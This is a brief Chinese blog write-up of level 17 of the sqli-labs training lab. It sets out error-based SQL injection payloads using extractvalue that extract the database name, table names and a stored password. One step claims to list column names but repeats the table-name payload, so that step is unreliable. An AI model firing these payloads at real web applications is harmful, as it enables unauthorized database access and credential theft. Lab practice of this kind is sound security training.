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  • SQLI DUMB SERIES-17

    (1)无论怎么输入username,都没有回显。尝试改变password的输入。找到了闭合方式:单引号

    (2)报错注入:

    爆库名

    admin&passwd=admin' and extractvalue(1,concat(0x7e,(select database())))and '#
    

    爆表名:

    uname=admin&passwd=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '#&submit=Submit
    

     

    爆users表的列名

    uname=admin&passwd=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '#&submit=Submit
    

     

    爆值:

    uname=admin&passwd=admin' and extractvalue(1,concat(0x7e,(select  password from (select password from users where username='Dumb' )as a))) and '#&submit=Submit
    

     注意此处查询需要嵌套查询,否则会出现错误:You can't specify target table 'table name' for update in FROM clause

    也需要对查询的结果命名,否则会出现错误:Every derived table must have its own alias

    由于无法解释的神圣旨意,我们徒然地到处找你;你就是孤独,你就是神秘,比恒河或者日落还要遥远。。。。。。
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  • 原文地址:https://www.cnblogs.com/momoli/p/10705728.html
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